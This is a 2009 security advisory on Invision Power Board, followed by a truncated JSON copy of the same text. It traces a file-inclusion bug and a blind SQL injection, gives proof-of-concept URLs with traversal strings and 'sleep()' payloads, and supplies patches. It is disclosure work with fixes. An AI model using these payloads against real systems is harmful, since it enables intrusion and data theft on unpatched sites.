=============================================
- Release date: December 4th, 2009
- Discovered by: Dawid Golunski
- Severity: Moderately High
=============================================
I. VULNERABILITY
-------------------------
Invision Power Board <= 3.0.4 Local PHP File Inclusion and SQL Injection
Invision Power Board <= 2.3.6 SQL Injection
II. BACKGROUND
-------------------------
Invision Power Board (IPB) is a professional forum system that has
been built
from the ground up with speed and security in mind, taking advantage
of object
oriented code, highly-optimized SQL queries, and the fast PHP engine. A
comprehensive administration control panel is included to help you
keep your
board running smoothly. Moderators will also enjoy the full range of
options
available to them via built-in tools and moderators control panel.
Members
will appreciate the ability to subscribe to topics, send private
messages, and
perform a host of other options through the user control panel.
III. INTRODUCTION
-------------------------
For a good understanding of the vulnerabilities it is necessary to be
familiar
with the way IPB handles input data. Below is a quick trace of input
validation process. The code snippets come from IPB version 3.0.4.
line | file: admin/sources/base/ipsRegistry.php
352 | static public function init()
353 | {
... |
... |
462 | IPSLib::cleanGlobals( $_GET );
463 | IPSLib::cleanGlobals( $_POST );
464 | IPSLib::cleanGlobals( $_COOKIE );
465 | IPSLib::cleanGlobals( $_REQUEST );
466 |
467 | # GET first
468 | $input = IPSLib::parseIncomingRecursively( $_GET, array() );
469 |
470 | # Then overwrite with POST
471 | self::$request = IPSLib::parseIncomingRecursively( $_POST,
$input );
... |
The init() function cleans the input data passed via methods like GET,
POST or
others at the start of each request to the forum before any of the input
variables are processed.
Let's look into sanitization performed by cleanGlobals function:
line | file: admin/sources/base/core.php
1644 | static public function cleanGlobals( &$data, $iteration = 0 )
1645 | {
... |
1654 | foreach( $data as $k => $v )
1655 | {
1656 | if ( is_array( $v ) )
1657 | {
1658 | self::cleanGlobals( $data[ $k ], ++
$iteration );
1659 | }
1660 | else
1661 | {
1662 | # Null byte characters
1663 | $v = str_replace( chr('0') , '', $v );
1664 | $v = str_replace( "\0" , '', $v );
1665 | $v = str_replace( "\x00" , '', $v );
1666 | $v = str_replace( '%00' , '', $v );
1667 |
1668 | # File traversal
1669 | $v = str_replace( "../", "../",
$v );
1670 |
1671 | $data[ $k ] = $v;
1672 | }
1673 | }
1674 | }
As we can see the function removes null characters and "../" sequences
from
incoming data to prevent unwanted file inclusion.
The next function that affects the input is:
line | file: admin/sources/base/core.php
1573 | static public function parseIncomingRecursively( &$data,
$input=array(), $iteration = 0 )
1574 | {
... |
1583 | foreach( $data as $k => $v )
1584 | {
1585 | if ( is_array( $v ) )
1586 | {
1587 | $input[ $k ] =
self::parseIncomingRecursively( $data[ $k ], array(), ++$iteration );
1588 | }
1589 | else
1590 | {
1591 | $k = IPSText::parseCleanKey( $k );
1592 | $v = IPSText::parseCleanValue( $v,
false );
1593 |
1594 | $input[ $k ] = $v;
1595 | }
1596 | }
1597 |
1598 | return $input;
1599 | }
The purpose of this function is to clean the key/value pairs of an array
passed to it with help of the parseCleanKey and parseCleanValue
functions. The
first one can be skipped as neither of the attacks described later on
require
special characters inside variable names. The other looks as follows:
line | file: admin/sources/base/core.php
4100 | static public function parseCleanValue( $val, $postParse=true )
4101 | {
4102 | if ( $val == "" )
4103 | {
4104 | return "";
4105 | }
4106 |
4107 | $val = str_replace( " ", " ",
IPSText::stripslashes($val) );
4108 |
4109 | # Convert all carriage return combos
4110 | $val = str_replace( array( "\r\n", "\n\r", "\r" ), "\n",
$val );
4111 |
4112 | $val = str_replace( "&", "&amp;", $val );
4113 | $val = str_replace( "<!--", "<!--", $val );
4114 | $val = str_replace( "-->", "-->", $val );
4115 | $val = str_ireplace( "<script", "<script", $val );
4116 | $val = str_replace( ">", "&gt;", $val );
4117 | $val = str_replace( "<", "&lt;", $val );
4118 | $val = str_replace( '"', "&quot;", $val );
4119 | $val = str_replace( "\n", "<br />", $val ); // Convert
literal newlines
4120 | $val = str_replace( "$", "$", $val );
4121 | $val = str_replace( "!", "!", $val );
4122 | $val = str_replace( "'", "'", $val ); // IMPORTANT: It
helps to increase sql query safety.
4123 |
4124 | if ( IPS_ALLOW_UNICODE )
... |
The function cleans input data from characters used typically in XSS
and SQL
attacks.
The resulting array containing sanitized input data from GET/POST
methods
is stored in ipsRegistry::$request array (as we can see on the first
code
listing).
IV. LOCAL FILE INCLUSION VULNERABILITY
-------------------------
1. Description.
It is possible to include an arbitrary php file stored on the server
in any
location (accessible by the php/web server process) by exploiting the
following code of IPB 3.0.4:
line | file: admin/sources/base/ipsController.php
142 |public function getCommand( ipsRegistry $registry )
143 |{
144 | $_NOW = IPSDebug::getMemoryDebugFlag();
145 |
146 | $module = ipsRegistry::$current_module;
147 | $section = ipsRegistry::$current_section;
148 | $filepath = IPSLib::getAppDir( IPS_APP_COMPONENT ) .
'/' . self::$modules_dir . '/' . $module . '/';
149 |
150 | /* Got a section? */
151 | if ( ! $section )
152 | {
153 | if ( file_exists( $filepath .
'defaultSection.php' ) )
154 | {
155 | $DEFAULT_SECTION = '';
156 | require( $filepath .
'defaultSection.php' );
157 |
158 | if ( $DEFAULT_SECTION )
159 | {
160 | $section = $DEFAULT_SECTION;
161 | }
162 | }
163 | }
164 |
165 | $classname = self::$class_dir . '_' .
IPS_APP_COMPONENT . '_' . $module . '_' . $section;
166 |
167 | if ( file_exists( $filepath . 'manualResolver.php' ) )
168 | {
169 | require_once( $filepath . 'manualResolver.php' );
170 | $classname = self::$class_dir . '_' .
IPS_APP_COMPONENT . '_' . $module . '_manualResolver';
171 | }
172 | else if ( file_exists( $filepath . $section . '.php' ) )
173 | {
174 | require_once( $filepath . $section . '.php' );
175 | }
... |
The require_once function on line 174 uses a variable $section to
create a
path to a php file that is to be included. The variable is assigned the
following value:
line | file: admin/sources/base/ipsRegistry.php
1654 | ipsRegistry::$current_section = ( ipsRegistry::
$request['section'] ) ? ipsRegistry::$request['section'] : '';
which as we know from the introduction comes from a user supplied
variable
(via GET or POST method).
Although the whole $request array has been filtered out to prevent
directory
traversal and arbitrary file inclusion it is possible to evade these
measures due to a bug in a function implementing the "friendly URLs"
feature
introduced in version 3.0.0 of the IPB forum.
line | file: admin/sources/base/ipsRegistry.php
1188 | private static function _fUrlInit()
1189 | {
... |
1195 | if ( ipsRegistry::$settings['use_friendly_urls'] )
1196 | {
... |
... |
1235 | $uri = $_SERVER['REQUEST_URI'] ?
$_SERVER['REQUEST_URI'] : @getenv('REQUEST_URI');
1236 |
1237 | $_toTest = $uri; //( $qs ) ? $qs : $uri;
... |
... |
... |
1306 | //-----------------------------------------
1307 | // If using query string furl, extract any
1308 | // secondary query string.
1309 | // Ex: http://localhost/index.php?/path/file.html?
key=value
1310 | // Will pull the key=value properly
1311 | //-----------------------------------------
1312 |
1313 | if( substr_count( $_toTest, '?' ) > 1 )
1314 | {
1315 | $_secondQueryString = substr( $_toTest,
strrpos( $_toTest, '?' ) + 1 );
1316 | $_secondParams = explode( '&',
$_secondQueryString );
1317 |
1318 | if( count($_secondParams) )
1319 | {
1320 | foreach( $_secondParams as $_param )
1321 | {
1322 | list( $k, $v ) = explode( '=', $_param );
1323 |
1324 | $k = IPSText::parseCleanKey( $k );
1325 | $v = IPSText::parseCleanValue( $v );
1326 |
1327 | $_GET[ $k ] = $v;
1328 | $_REQUEST[ $k ] = $v;
1329 | $_urlBits[ $k ] = $v;
1330 |
1331 | ipsRegistry::$request[ $k ] = $v;
1332 | }
1333 | }
1334 | }
1335 | }
... |
The above code allows for a secondary query string from which additional
variables are retrieved and saved in the $request array as well as
$_GET and
$_REQUEST globals.
It takes a query string from a previously not cleaned global:
$_SERVER['REQUEST_URI'] and fails to check if the variables supplied
in the
request URI string already exist in any of the arrays as well as to call
cleanGlobals function to sanitize the values.
A variable named 'section' can be passed in the secondary query string
in
order to bypass filtration of "../" and %00 sequences, effectively
allowing to
traverse directories and include any given php file within the system
leading
to a local file inclusion attack.
Note: Omitting '.php' extension (to include arbitrary file like /etc/
passwd)
by using a NULL character will not be possible in this case as a
combination of %00 in the REQUEST_URI will not get decoded by the web
server
automatically and there is no urldecode function to decode it before the
require_once call either.
Versions older than 3.0.4 have a different implementation of the
friendly url
feature, but are also vulnerable in the same way.
2. Proof of concept.
This issue is trivial to exploit with a web browser and a known
location of a
php file residing on the target system. Authorisation is not required.
For example, the following URL in case of IPB 3.0.4:
http://server-with-ipb-forum-3.0.4.com/forum/index.php?app=core&module=global&section=register&any=
?
section
=
../../../../../../../../../../../../../../../../../../../../../../../../../../tmp
/inc
or the following in case of versions older than IPB 3.0.4:
http://server-with-ipb-forum-3.0.[0-3].com/forum/index.php?
app=core&module=global&section=register/register/
page__section__
../../../../../../../../../../../../../../../../../../../../../tmp/inc__
will result in including /tmp/inc.php file and executing code it
contains.
V. SQL INJECTION VULNERABILITY
-------------------------
1. Description.
An SQL Injection attack is possible due to an insufficient
sanitization in the
following function:
line | file: admin/applications/forums/sources/classes/moderate.php
1820 | /**
1821 | * Create 'where' clause for SQL forum pruning
1822 | *
1823 | * @access public
1824 | * @return boolean
1825 | */
1826 | public function sqlPruneCreate( $forum_id, $starter_id="",
$topic_state="", $post_min="", $date_exp="", $ignore_pin="" )
1827 | {
1828 | $sql = 'forum_id=' . intval($forum_id);
1829 |
1830 | if ( intval($date_exp) )
1831 | {
1832 | $sql .= " AND last_post < {$date_exp}";
1833 | }
1834 |
1835 | if ( intval($starter_id) )
1836 | {
1837 | $sql .= " AND starter_id={$starter_id}";
1838 |
1839 | }
1840 |
1841 | if ( intval($post_min) )
1842 | {
1843 | $sql .= " AND posts < {$post_min}";
1844 | }
1845 |
1846 | if ($topic_state != 'all')
1847 | {
1848 | if ($topic_state)
1849 | {
1850 | $sql .= " AND state='{$topic_state}'";
1851 | }
1852 | }
1853 |
1854 | if ( $ignore_pin != "" )
1855 | {
1856 | $sql .= " AND pinned=0";
1857 | }
1858 |
1859 |
1860 | return $sql;
1861 | }
All of the IF statements with intval() are to ensure that the
arguments passed
to the function are numeric before they are placed inside a WHERE
clause of a
query.
Because of the way that intval() works, it is possible to fool the
function by
passing a string like: '1 OR sleep(5) '. In such case intval() will
return a
value of 1 thus satisfying the IF conditions and causing the string to
be
placed inside the query.
The sqlPruneCreate function is used 2 times in a code that performs some
moderator's tasks. One invocation of it can be found in:
line | file: admin/applications/forums/modules_public/moderate/
moderate.php
2323 | protected function _pruneMove()
2324 | {
2325 | //-----------------------------------------
2326 | // Check
2327 | //-----------------------------------------
2328 |
2329 | $this->_resetModerator( $this->topic['forum_id'] );
2330 |
2331 | $this->_genericPermissionCheck( 'mass_move' );
2332 |
2333 | ///-----------------------------------------
2334 | // SET UP
2335 | //-----------------------------------------
2336 |
2337 | $pergo = intval( $this->request['pergo'] ) ?
intval( $this->request['pergo'] ) : 50;
2338 | $max = intval( $this->request['max'] );
2339 | $current = intval($this->request['current']);
2340 | $maxdone = $pergo + $current;
2341 | $tid_array = array();
2342 | $starter = trim( $this->request['starter'] );
2343 | $state = trim( $this->request['state'] );
2344 | $posts = intval( $this->request['posts'] );
2345 | $dateline = intval( $this->request['dateline'] );
2346 | $source = $this->forum['id'];
2347 | $moveto = intval($this->request['df']);
2348 | $date = 0;
2349 | $ignore_pin = intval( $this->request['ignore_pin'] );
2350 |
2351 | if( $dateline )
2352 | {
2353 | $date = time() - $dateline*60*60*24;
2354 | }
2355 |
2356 | //-----------------------------------------
2357 | // Carry on...
2358 | //-----------------------------------------
2359 |
2360 | $dbPruneWhere = $this->modLibrary->sqlPruneCreate( $this-
>forum['id'], $starter, $state, $posts, $date, $ignore_pin );
2361 |
2362 | $this->DB->build( array(
2363 | 'select' => 'tid',
2364 | 'from' => 'topics',
2365 | 'where' => $dbPruneWhere,
2366 | 'limit' => array( 0, $pergo ),
2367 | ) );
2368 | $batch = $this->DB->execute();
... |
As we can see there are 2 variables that come from a user and are not
converted to a number before they are passed to the sqlPruneCreate
function:
$starter and $state.
The second variable cannot be used in SQL Injection as it will be
treated as a
string and embraced with quotes by sqlPruneCreate. A string passed in
$starter
variable will be placed unquoted in the query as long as the first
character
is a number allowing a logged in moderator to perform an SQL Injection
attack.
The vulnerability is somewhat tricky to exploit as there are quite a few
restrictions that make creating a successful sql attack vector
difficult. Only
the WHERE statement can be controlled, quotes are filtered, and UNION
or sub
selects are prohibited too (at least in case of a MySQL driver). To
top it
all, the results of the query are not outputted to the browser so it
will have
to be a blind injection.
Nevertheless a crafty attacker might issue a series of requests that
might
allow him to gain some information about the target system or even read
files from the disk depending on permissions granted to the db account
that is
used by the forum. Other attacks might also be possible when a
database engine
other than MySQL is used.
2. Proof of concept.
If a logged in user with moderator privileges requests an URL like:
http://server-with-ipb-3.x.x-forum.com/forum/?app=forums&module=moderate&section=moderate&f=1&do=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(15)%20--%20skip%20&auth_key=c4276b77602767228faa9760eb4a5abd
in case of IPB 3.x, or:
http://server-with-ipb-2.x.x-forum.com/forum/?act=mod&f=1&CODE=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(16)%20--%20skip%20&auth_key=040c4a6e768d626b4c05a4bb0fbf315c
in case of IPB 2.x.
A query similar to:
SELECT tid FROM ibftopics WHERE forum_id=1 AND starter_id=1 AND
starter_id=1
OR substr(version(),1,1)=5 AND sleep(15) -- skip AND state='open' AND
pinned=0
LIMIT 0,50
will be run against the database.
The query will check if a major version of MySQL server is equal to 5.
If that
is the case a sleep function will be run which will slow down the page
load by
15 seconds thus revealing the result of the query.
For this to work a valid auth_key needs to be supplied (that can be
obtained
by going to any of the forums, clicking Forum Management button and
selecting
Prune/Mass Move feature). Source ($f) and Destination ($df) forums
parameters
in the URL might also need adjusting.
VI. BUSINESS IMPACT
-------------------------
The Local PHP File Inclusion vulnerability can be especially dangerous
in a
shared hosting environment. Even if server has been configured to
prevent
users from reading each other's document roots (web server/PHP process
running in a context of the site's owner), an attacker that has an
account on
the same server as the targeted site could use the vulnerability to
place a
php file in a shared directory like /tmp and cause the IPB forum on
the target
to execute his code thus gaining access equivalent to the owner of the
website.
The SQL Injection vulnerability is only a threat in case there are
moderators
on the forum that cannot be fully trusted or if an attacker manages to
steal/guess their passwords. Possible risks in case of a successful
exploitation of this flaw have been described in the previous section.
VII. SYSTEMS AFFECTED
-------------------------
All of the IPB versions of the 3.x series (including the newest
release of
3.0.4) are affected by the Local PHP File Inclusion and SQL Injection
vulnerabilities.
Probably most if not all of IPB releases of the 2.x series (including
2.3.6)
are affected by the SQL Injection vulnerability.
VIII. SOLUTION
-------------------------
Vendor has been informed about the vulnerabilities and should be
releasing
patches soon.
I attach 2 patches for the current versions of both 2.x and 3.x series
that
can be used as a temporary solution.
IPB 3.0.4 patch:
diff -Nprub ipb304/admin/applications/forums/sources/classes/
moderate.php ipb304-patched/admin/applications/forums/sources/classes/
moderate.php
--- ipb304/admin/applications/forums/sources/classes/moderate.php
2009-10-08 16:34:50.000000000 +0100
+++ ipb304-patched/admin/applications/forums/sources/classes/
moderate.php 2009-11-29 01:01:49.000000000 +0000
@@ -1829,18 +1829,18 @@ class moderatorLibrary
if ( intval($date_exp) )
{
- $sql .= " AND last_post < {$date_exp}";
+ $sql .= " AND last_post < ". intval($date_exp);
}
if ( intval($starter_id) )
{
- $sql .= " AND starter_id={$starter_id}";
+ $sql .= " AND starter_id=". intval($starter_id);
}
if ( intval($post_min) )
{
- $sql .= " AND posts < {$post_min}";
+ $sql .= " AND posts < ". intval($post_min);
}
if ($topic_state != 'all')
diff -Nprub ipb304/admin/sources/base/ipsRegistry.php ipb304-patched/
admin/sources/base/ipsRegistry.php
--- ipb304/admin/sources/base/ipsRegistry.php 2009-10-08
16:34:24.000000000 +0100
+++ ipb304-patched/admin/sources/base/ipsRegistry.php 2009-11-29
00:57:13.000000000 +0000
@@ -479,6 +479,9 @@ class ipsRegistry
/* First pass of app set up. Needs to be BEFORE caches and member
are set up */
self::_fUrlInit();
+ IPSLib::cleanGlobals( $_GET );
+ IPSLib::cleanGlobals( $_REQUEST );
+ IPSLib::cleanGlobals( self::$request );
self::_manageIncomingURLs();
IPB 2.3.6 patch:
diff -Nprub ipb236/sources/lib/func_mod.php ipb236-patched/sources/lib/
func_mod.php
--- ipb236/sources/lib/func_mod.php 2009-11-29 01:10:13.000000000 +0000
+++ ipb236-patched/sources/lib/func_mod.php 2009-11-29
01:19:23.000000000 +0000
@@ -1219,18 +1219,18 @@ class func_mod
if ( intval($date_exp) )
{
- $sql .= " AND last_post < $date_exp";
+ $sql .= " AND last_post < ". intval($date_exp);
}
if ( intval($starter_id) )
{
- $sql .= " AND starter_id=$starter_id";
+ $sql .= " AND starter_id=". intval($starter_id);
}
if ( intval($post_min) )
{
- $sql .= " AND posts < $post_min";
+ $sql .= " AND posts < ". intval($post_min);
}
if ($topic_state != 'all')
Apply by going to your forum's directory and running the command:
patch -p1 < path_to_the_patch
IX. REFERENCES
-------------------------
http://www.invisionpower.com/products/board/
X. CREDITS
-------------------------
The vulnerabilities have been discovered by Dawid Golunski
golunski (at) onet (dot) eu
XI. REVISION HISTORY
-------------------------
December 4th, 2009: Initial release
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no
warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this
information.
{"id": "SECURITYVULNS:DOC:22869", "bulletinFamily": "software", "title": "Invision Power Board <= 3.0.4 Local PHP File Inclusion and SQL Injection", "description": "=============================================\r\n- Release date: December 4th, 2009\r\n- Discovered by: Dawid Golunski\r\n- Severity: Moderately High\r\n=============================================\r\n\r\nI. VULNERABILITY\r\n-------------------------\r\nInvision Power Board <= 3.0.4 Local PHP File Inclusion and SQL Injection\r\nInvision Power Board <= 2.3.6 SQL Injection\r\n\r\nII. BACKGROUND\r\n-------------------------\r\nInvision Power Board (IPB) is a professional forum system that has \r\nbeen built\r\nfrom the ground up with speed and security in mind, taking advantage \r\nof object\r\noriented code, highly-optimized SQL queries, and the fast PHP engine. A\r\ncomprehensive administration control panel is included to help you \r\nkeep your\r\nboard running smoothly. Moderators will also enjoy the full range of \r\noptions\r\navailable to them via built-in tools and moderators control panel. \r\nMembers\r\nwill appreciate the ability to subscribe to topics, send private \r\nmessages, and\r\nperform a host of other options through the user control panel.\r\n\r\nIII. INTRODUCTION\r\n-------------------------\r\nFor a good understanding of the vulnerabilities it is necessary to be \r\nfamiliar\r\nwith the way IPB handles input data. Below is a quick trace of input\r\nvalidation process. The code snippets come from IPB version 3.0.4.\r\n\r\nline | file: admin/sources/base/ipsRegistry.php\r\n352 | static public function init()\r\n353 | {\r\n... |\r\n... |\r\n462 | IPSLib::cleanGlobals( $_GET );\r\n463 | IPSLib::cleanGlobals( $_POST );\r\n464 | IPSLib::cleanGlobals( $_COOKIE );\r\n465 | IPSLib::cleanGlobals( $_REQUEST );\r\n466 |\r\n467 | # GET first\r\n468 | $input = IPSLib::parseIncomingRecursively( $_GET, array() );\r\n469 |\r\n470 | # Then overwrite with POST\r\n471 | self::$request = IPSLib::parseIncomingRecursively( $_POST, \r\n$input );\r\n... |\r\n\r\nThe init() function cleans the input data passed via methods like GET, \r\nPOST or\r\nothers at the start of each request to the forum before any of the input\r\nvariables are processed.\r\n\r\nLet's look into sanitization performed by cleanGlobals function:\r\n\r\nline | file: admin/sources/base/core.php\r\n1644 | static public function cleanGlobals( &$data, $iteration = 0 )\r\n1645 | {\r\n... |\r\n1654 | foreach( $data as $k => $v )\r\n1655 | {\r\n1656 | if ( is_array( $v ) )\r\n1657 | {\r\n1658 | self::cleanGlobals( $data[ $k ], ++ \r\n$iteration );\r\n1659 | }\r\n1660 | else\r\n1661 | {\r\n1662 | # Null byte characters\r\n1663 | $v = str_replace( chr('0') , '', $v );\r\n1664 | $v = str_replace( "\0" , '', $v );\r\n1665 | $v = str_replace( "\x00" , '', $v );\r\n1666 | $v = str_replace( '%00' , '', $v );\r\n1667 |\r\n1668 | # File traversal\r\n1669 | $v = str_replace( "../", "../", \r\n$v );\r\n1670 |\r\n1671 | $data[ $k ] = $v;\r\n1672 | }\r\n1673 | }\r\n1674 | }\r\n\r\nAs we can see the function removes null characters and "../" sequences \r\nfrom\r\nincoming data to prevent unwanted file inclusion.\r\n\r\nThe next function that affects the input is:\r\n\r\nline | file: admin/sources/base/core.php\r\n1573 | static public function parseIncomingRecursively( &$data, \r\n$input=array(), $iteration = 0 )\r\n1574 | {\r\n... |\r\n1583 | foreach( $data as $k => $v )\r\n1584 | {\r\n1585 | if ( is_array( $v ) )\r\n1586 | {\r\n1587 | $input[ $k ] = \r\nself::parseIncomingRecursively( $data[ $k ], array(), ++$iteration );\r\n1588 | }\r\n1589 | else\r\n1590 | {\r\n1591 | $k = IPSText::parseCleanKey( $k );\r\n1592 | $v = IPSText::parseCleanValue( $v, \r\nfalse );\r\n1593 |\r\n1594 | $input[ $k ] = $v;\r\n1595 | }\r\n1596 | }\r\n1597 |\r\n1598 | return $input;\r\n1599 | }\r\n\r\nThe purpose of this function is to clean the key/value pairs of an array\r\npassed to it with help of the parseCleanKey and parseCleanValue \r\nfunctions. The\r\nfirst one can be skipped as neither of the attacks described later on \r\nrequire\r\nspecial characters inside variable names. The other looks as follows:\r\n\r\nline | file: admin/sources/base/core.php\r\n4100 | static public function parseCleanValue( $val, $postParse=true )\r\n4101 | {\r\n4102 | if ( $val == "" )\r\n4103 | {\r\n4104 | return "";\r\n4105 | }\r\n4106 |\r\n4107 | $val = str_replace( " ", " ", \r\nIPSText::stripslashes($val) );\r\n4108 |\r\n4109 | # Convert all carriage return combos\r\n4110 | $val = str_replace( array( "\r\n", "\n\r", "\r" ), "\n", \r\n$val );\r\n4111 |\r\n4112 | $val = str_replace( "&", "&amp;", $val );\r\n4113 | $val = str_replace( "<!--", "<!--", $val );\r\n4114 | $val = str_replace( "-->", "-->", $val );\r\n4115 | $val = str_ireplace( "<script", "<script", $val );\r\n4116 | $val = str_replace( ">", "&gt;", $val );\r\n4117 | $val = str_replace( "<", "&lt;", $val );\r\n4118 | $val = str_replace( '"', "&quot;", $val );\r\n4119 | $val = str_replace( "\n", "<br />", $val ); // Convert \r\nliteral newlines\r\n4120 | $val = str_replace( "$", "$", $val );\r\n4121 | $val = str_replace( "!", "!", $val );\r\n4122 | $val = str_replace( "'", "'", $val ); // IMPORTANT: It \r\nhelps to increase sql query safety.\r\n4123 |\r\n4124 | if ( IPS_ALLOW_UNICODE )\r\n... |\r\n\r\nThe function cleans input data from characters used typically in XSS \r\nand SQL\r\nattacks.\r\n\r\nThe resulting array containing sanitized input data from GET/POST \r\nmethods\r\nis stored in ipsRegistry::$request array (as we can see on the first \r\ncode\r\nlisting).\r\n\r\nIV. LOCAL FILE INCLUSION VULNERABILITY\r\n-------------------------\r\n\r\n1. Description.\r\n\r\nIt is possible to include an arbitrary php file stored on the server \r\nin any\r\nlocation (accessible by the php/web server process) by exploiting the\r\nfollowing code of IPB 3.0.4:\r\n\r\nline | file: admin/sources/base/ipsController.php\r\n142 |public function getCommand( ipsRegistry $registry )\r\n143 |{\r\n144 | $_NOW = IPSDebug::getMemoryDebugFlag();\r\n145 |\r\n146 | $module = ipsRegistry::$current_module;\r\n147 | $section = ipsRegistry::$current_section;\r\n148 | $filepath = IPSLib::getAppDir( IPS_APP_COMPONENT ) . \r\n'/' . self::$modules_dir . '/' . $module . '/';\r\n149 |\r\n150 | /* Got a section? */\r\n151 | if ( ! $section )\r\n152 | {\r\n153 | if ( file_exists( $filepath . \r\n'defaultSection.php' ) )\r\n154 | {\r\n155 | $DEFAULT_SECTION = '';\r\n156 | require( $filepath . \r\n'defaultSection.php' );\r\n157 |\r\n158 | if ( $DEFAULT_SECTION )\r\n159 | {\r\n160 | $section = $DEFAULT_SECTION;\r\n161 | }\r\n162 | }\r\n163 | }\r\n164 |\r\n165 | $classname = self::$class_dir . '_' . \r\nIPS_APP_COMPONENT . '_' . $module . '_' . $section;\r\n166 |\r\n167 | if ( file_exists( $filepath . 'manualResolver.php' ) )\r\n168 | {\r\n169 | require_once( $filepath . 'manualResolver.php' );\r\n170 | $classname = self::$class_dir . '_' . \r\nIPS_APP_COMPONENT . '_' . $module . '_manualResolver';\r\n171 | }\r\n172 | else if ( file_exists( $filepath . $section . '.php' ) )\r\n173 | {\r\n174 | require_once( $filepath . $section . '.php' );\r\n175 | }\r\n... |\r\n\r\nThe require_once function on line 174 uses a variable $section to \r\ncreate a\r\npath to a php file that is to be included. The variable is assigned the\r\nfollowing value:\r\n\r\nline | file: admin/sources/base/ipsRegistry.php\r\n1654 | ipsRegistry::$current_section = ( ipsRegistry:: \r\n$request['section'] ) ? ipsRegistry::$request['section'] : '';\r\n\r\nwhich as we know from the introduction comes from a user supplied \r\nvariable\r\n(via GET or POST method).\r\n\r\nAlthough the whole $request array has been filtered out to prevent \r\ndirectory\r\ntraversal and arbitrary file inclusion it is possible to evade these\r\nmeasures due to a bug in a function implementing the "friendly URLs" \r\nfeature\r\nintroduced in version 3.0.0 of the IPB forum.\r\n\r\nline | file: admin/sources/base/ipsRegistry.php\r\n1188 | private static function _fUrlInit()\r\n1189 | {\r\n... |\r\n1195 | if ( ipsRegistry::$settings['use_friendly_urls'] )\r\n1196 | {\r\n... |\r\n... |\r\n1235 | $uri = $_SERVER['REQUEST_URI'] ? \r\n$_SERVER['REQUEST_URI'] : @getenv('REQUEST_URI');\r\n1236 |\r\n1237 | $_toTest = $uri; //( $qs ) ? $qs : $uri;\r\n... |\r\n... |\r\n... |\r\n1306 | //-----------------------------------------\r\n1307 | // If using query string furl, extract any\r\n1308 | // secondary query string.\r\n1309 | // Ex: http://localhost/index.php?/path/file.html? \r\nkey=value\r\n1310 | // Will pull the key=value properly\r\n1311 | //-----------------------------------------\r\n1312 |\r\n1313 | if( substr_count( $_toTest, '?' ) > 1 )\r\n1314 | {\r\n1315 | $_secondQueryString = substr( $_toTest, \r\nstrrpos( $_toTest, '?' ) + 1 );\r\n1316 | $_secondParams = explode( '&', \r\n$_secondQueryString );\r\n1317 |\r\n1318 | if( count($_secondParams) )\r\n1319 | {\r\n1320 | foreach( $_secondParams as $_param )\r\n1321 | {\r\n1322 | list( $k, $v ) = explode( '=', $_param );\r\n1323 |\r\n1324 | $k = IPSText::parseCleanKey( $k );\r\n1325 | $v = IPSText::parseCleanValue( $v );\r\n1326 |\r\n1327 | $_GET[ $k ] = $v;\r\n1328 | $_REQUEST[ $k ] = $v;\r\n1329 | $_urlBits[ $k ] = $v;\r\n1330 |\r\n1331 | ipsRegistry::$request[ $k ] = $v;\r\n1332 | }\r\n1333 | }\r\n1334 | }\r\n1335 | }\r\n... |\r\n\r\nThe above code allows for a secondary query string from which additional\r\nvariables are retrieved and saved in the $request array as well as \r\n$_GET and\r\n$_REQUEST globals.\r\nIt takes a query string from a previously not cleaned global:\r\n$_SERVER['REQUEST_URI'] and fails to check if the variables supplied \r\nin the\r\nrequest URI string already exist in any of the arrays as well as to call\r\ncleanGlobals function to sanitize the values.\r\n\r\nA variable named 'section' can be passed in the secondary query string \r\nin\r\norder to bypass filtration of "../" and %00 sequences, effectively \r\nallowing to\r\ntraverse directories and include any given php file within the system \r\nleading\r\nto a local file inclusion attack.\r\n\r\nNote: Omitting '.php' extension (to include arbitrary file like /etc/ \r\npasswd)\r\nby using a NULL character will not be possible in this case as a\r\ncombination of %00 in the REQUEST_URI will not get decoded by the web \r\nserver\r\nautomatically and there is no urldecode function to decode it before the\r\nrequire_once call either.\r\n\r\nVersions older than 3.0.4 have a different implementation of the \r\nfriendly url\r\nfeature, but are also vulnerable in the same way.\r\n\r\n2. Proof of concept.\r\n\r\nThis issue is trivial to exploit with a web browser and a known \r\nlocation of a\r\nphp file residing on the target system. Authorisation is not required.\r\n\r\nFor example, the following URL in case of IPB 3.0.4:\r\n\r\nhttp://server-with-ipb-forum-3.0.4.com/forum/index.php?app=core&module=global&section=register&any= \r\n? \r\nsection \r\n= \r\n../../../../../../../../../../../../../../../../../../../../../../../../../../tmp \r\n/inc\r\n\r\nor the following in case of versions older than IPB 3.0.4:\r\n\r\nhttp://server-with-ipb-forum-3.0.[0-3].com/forum/index.php? \r\napp=core&module=global&section=register/register/ \r\npage__section__ \r\n../../../../../../../../../../../../../../../../../../../../../tmp/inc__\r\n\r\nwill result in including /tmp/inc.php file and executing code it \r\ncontains.\r\n\r\nV. SQL INJECTION VULNERABILITY\r\n-------------------------\r\n\r\n1. Description.\r\n\r\nAn SQL Injection attack is possible due to an insufficient \r\nsanitization in the\r\nfollowing function:\r\n\r\nline | file: admin/applications/forums/sources/classes/moderate.php\r\n1820 | /**\r\n1821 | * Create 'where' clause for SQL forum pruning\r\n1822 | *\r\n1823 | * @access public\r\n1824 | * @return boolean\r\n1825 | */\r\n1826 | public function sqlPruneCreate( $forum_id, $starter_id="", \r\n$topic_state="", $post_min="", $date_exp="", $ignore_pin="" )\r\n1827 | {\r\n1828 | $sql = 'forum_id=' . intval($forum_id);\r\n1829 |\r\n1830 | if ( intval($date_exp) )\r\n1831 | {\r\n1832 | $sql .= " AND last_post < {$date_exp}";\r\n1833 | }\r\n1834 |\r\n1835 | if ( intval($starter_id) )\r\n1836 | {\r\n1837 | $sql .= " AND starter_id={$starter_id}";\r\n1838 |\r\n1839 | }\r\n1840 |\r\n1841 | if ( intval($post_min) )\r\n1842 | {\r\n1843 | $sql .= " AND posts < {$post_min}";\r\n1844 | }\r\n1845 |\r\n1846 | if ($topic_state != 'all')\r\n1847 | {\r\n1848 | if ($topic_state)\r\n1849 | {\r\n1850 | $sql .= " AND state='{$topic_state}'";\r\n1851 | }\r\n1852 | }\r\n1853 |\r\n1854 | if ( $ignore_pin != "" )\r\n1855 | {\r\n1856 | $sql 